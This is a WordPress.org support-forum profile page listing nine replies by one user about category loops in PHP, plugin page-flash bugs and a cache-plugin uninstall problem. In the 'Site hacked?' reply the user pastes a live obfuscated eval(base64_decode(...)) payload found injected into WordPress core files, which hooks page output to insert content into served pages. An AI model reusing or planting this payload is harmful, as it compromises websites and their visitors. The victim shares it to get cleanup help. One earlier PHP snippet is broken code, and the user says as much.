Title: derker's Replies | WordPress.org

---

# derker

  [  ](https://wordpress.org/support/users/derker/)

 *   [Profile](https://wordpress.org/support/users/derker/)
 *   [Topics Started](https://wordpress.org/support/users/derker/topics/)
 *   [Replies Created](https://wordpress.org/support/users/derker/replies/)
 *   [Reviews Written](https://wordpress.org/support/users/derker/reviews/)
 *   [Topics Replied To](https://wordpress.org/support/users/derker/replied-to/)
 *   [Engagements](https://wordpress.org/support/users/derker/engagements/)
 *   [Favorites](https://wordpress.org/support/users/derker/favorites/)

 Search replies:

## Forum Replies Created

Viewing 9 replies - 1 through 9 (of 9 total)

 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [Looping thru Categories to get child divs containing grandchildren lists](https://wordpress.org/support/topic/looping-thru-categories-to-get-child-divs-containing-grandchildren-lists/)
 *  Thread Starter [derker](https://wordpress.org/support/users/derker/)
 * (@derker)
 * [15 years, 9 months ago](https://wordpress.org/support/topic/looping-thru-categories-to-get-child-divs-containing-grandchildren-lists/#post-1770142)
 * boy do i feel like a bonehead… sometimes it helps to look under your nose and
   not over think it…
 * here’s the solution i figured out myself… yay! 😉
 *     ```
       <?php
       $categories=get_categories('parent=4&hide_empty=0');
       foreach($categories as $cat) {
       echo '<div class="' . $cat->category_nicename . '" ' . '>' . '<ul>';
       wp_list_categories('title_li=&child_of='.$cat->term_id);
       echo '</ul></div>';
       }
       ?>
       ```
   
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [Looping thru Categories to get child divs containing grandchildren lists](https://wordpress.org/support/topic/looping-thru-categories-to-get-child-divs-containing-grandchildren-lists/)
 *  Thread Starter [derker](https://wordpress.org/support/users/derker/)
 * (@derker)
 * [15 years, 9 months ago](https://wordpress.org/support/topic/looping-thru-categories-to-get-child-divs-containing-grandchildren-lists/#post-1770135)
 * getting closer… this code doesn’t work, i think it i may need the “chain” but
   i’m not too familiar….any help much appreciated
 *     ```
       <?php
       $categories=get_categories('parent=4&hide_empty=0');
       if($categories) {
       foreach($categories as $cat) {
       $option = '<div class="'.$cat->category_nicename.'"><ul>';
       $subcats = get_categories('child_of='.$cat->term_id);
       $kits = array();
       if($subcats) {
       foreach( $subcats as $subcat )
       $option .= '<li><a href="';
       $option .= get_category_link($subcat->term_id);
       $option .= '"> title="';
       $option .= sprintf( __( "View all posts in %s" ), $subcat->name );
       $option .= '"> '$subcat->name'';
       $option .= '</a></li>';
       }
       $option .= '</ul></div>';
       echo $option;
       }
       }
       ?>
       ```
   
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [Site hacked?](https://wordpress.org/support/topic/site-hacked-14/)
 *  [derker](https://wordpress.org/support/users/derker/)
 * (@derker)
 * [15 years, 10 months ago](https://wordpress.org/support/topic/site-hacked-14/#post-1712981)
 * My site was definitely hacked… but I’m not sure why or what it is doing? So far
   I have found a block of code inserted into the wp-index file and the dashboard.
   php files…
 * What the hack does visibly is bascially yank out the css on the dashboard so 
   the admin side looks like an unstyled html doc… when I opened up the files I 
   found this code inserted at the top:
 * `<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmIChzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwiTVNJRSA2Iil8fHN0cmlzdHIoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLCJNU0lFIDciKXx8c3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sIk1TSUUgOCIpfHxzdHJpc3RyKCRfU0VSVkV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YmgoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qil7ICAgICBIZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTsgICAgICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREU9Z3pkZWNvZGUoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qik7ICAgICAgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERSkpeyAgICAgIHJldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxcL2JvZHlbXlw
   +XSpcPikvc2knLGdtbCgpLiJcbiIuJyQxJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKTsgICAgIH1lbHNleyAgICAgIHJldHVybiAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFLmdtbCgpOyAgICAgfSAgICB9ICAgIG9iX3N0YXJ0KCdtcm9iaCcpOyAgIH0gIH0
   ="));?>`
 * Any ideas on how to get rid of this or clean my site would be greatly appreciated…
 * thx,
    Derek
 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [[Audio Player] [Plugin: Audio Player] Causes Dreaded "White window blink/flash" in Firefox 3.6.9 / Mac](https://wordpress.org/support/topic/plugin-audio-player-causes-dreaded-white-window-blinkflash-in-firefox-369-mac-1/)
 *  Thread Starter [derker](https://wordpress.org/support/users/derker/)
 * (@derker)
 * [15 years, 11 months ago](https://wordpress.org/support/topic/plugin-audio-player-causes-dreaded-white-window-blinkflash-in-firefox-369-mac-1/#post-1667853)
 * this might help 😉
 * [http://wombletonrecords.com](http://wombletonrecords.com)
 * thx…
 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [[Plugin: W3 Total Cache] How to Uninstall with no Admin Panel](https://wordpress.org/support/topic/plugin-w3-total-cache-how-to-uninstall-with-no-admin-panel/)
 *  [derker](https://wordpress.org/support/users/derker/)
 * (@derker)
 * [16 years, 3 months ago](https://wordpress.org/support/topic/plugin-w3-total-cache-how-to-uninstall-with-no-admin-panel/#post-1373943)
 * i am trying to remove w3 total cache from my site and it says i don’t have permission
   to do so… wtf? Frederick could you possibly please enlighten on how to remove…
   thanks…
 * heres the error:
 * 550 Could not delete db.php: Permission denied
 * and i changed the file permissions all over the place… any hellp much appreciated
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [Default author on multi-author blog](https://wordpress.org/support/topic/default-author-on-multi-author-blog/)
 *  [derker](https://wordpress.org/support/users/derker/)
 * (@derker)
 * [16 years, 6 months ago](https://wordpress.org/support/topic/default-author-on-multi-author-blog/#post-1052045)
 * This is happening to me as well when logged in as admin (2.9.1)… seriously annoying
   and lame… admin can’t post or even pick his/her name from author list?
 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [[Plugin: Viper’s Video Quicktags] Page CSS “Flash/blink” on load](https://wordpress.org/support/topic/plugin-vipers-video-quicktags-page-css-flashblink-on-load/)
 *  Thread Starter [derker](https://wordpress.org/support/users/derker/)
 * (@derker)
 * [16 years, 6 months ago](https://wordpress.org/support/topic/plugin-vipers-video-quicktags-page-css-flashblink-on-load/#post-1368932)
 * Hey Viper,
    thanks for looking and responding. I think it is a bug in swfobject
   2. it seems to affect mostly FF and IE but i can’t say for sure… but i remembered
   i encountered this once before and I switched back to swfobject 1.5 and the issues
   went away so I dunno… if your interested… [http://forums.mozillazine.org/viewtopic.php?f=38&t=931485](http://forums.mozillazine.org/viewtopic.php?f=38&t=931485)
   [https://bugzilla.mozilla.org/show_bug.cgi?id=438830](https://bugzilla.mozilla.org/show_bug.cgi?id=438830)
 * thanks again for a fab plugin…
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [Page “Blinks/Flashes” when it contains Yoututbe or swf… Why?](https://wordpress.org/support/topic/page-blinksflashes-when-it-contains-yoututbe-or-swf-why/)
 *  Thread Starter [derker](https://wordpress.org/support/users/derker/)
 * (@derker)
 * [16 years, 6 months ago](https://wordpress.org/support/topic/page-blinksflashes-when-it-contains-yoututbe-or-swf-why/#post-1368792)
 * huh, well thanks for looking. unfortunately it’s not intermittent for me at all.
   it’s like everytime i click on a post with an embed, the window flashes black
   and reloads every element all over again. I just thought maybe it was the way
   wp was handling the embedded element… since it wasn’t happening on pages with
   posts sans embed …another mystery for my collection i guess… thanks
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [Page “Blinks/Flashes” when it contains Yoututbe or swf… Why?](https://wordpress.org/support/topic/page-blinksflashes-when-it-contains-yoututbe-or-swf-why/)
 *  Thread Starter [derker](https://wordpress.org/support/users/derker/)
 * (@derker)
 * [16 years, 6 months ago](https://wordpress.org/support/topic/page-blinksflashes-when-it-contains-yoututbe-or-swf-why/#post-1368770)
 * hey esmi,
    so you didnt see an empty window before the page loaded? cuz i sure
   do and others do as well. did you by chance click back and forth between a post
   with yt embed and one w/o? the header and the sidebar do not disappear and reload
   on posts with just text but posts that vids they do… any thoughts? (And i have
   noticed this on alot of wp sites that have videos in them)

Viewing 9 replies - 1 through 9 (of 9 total)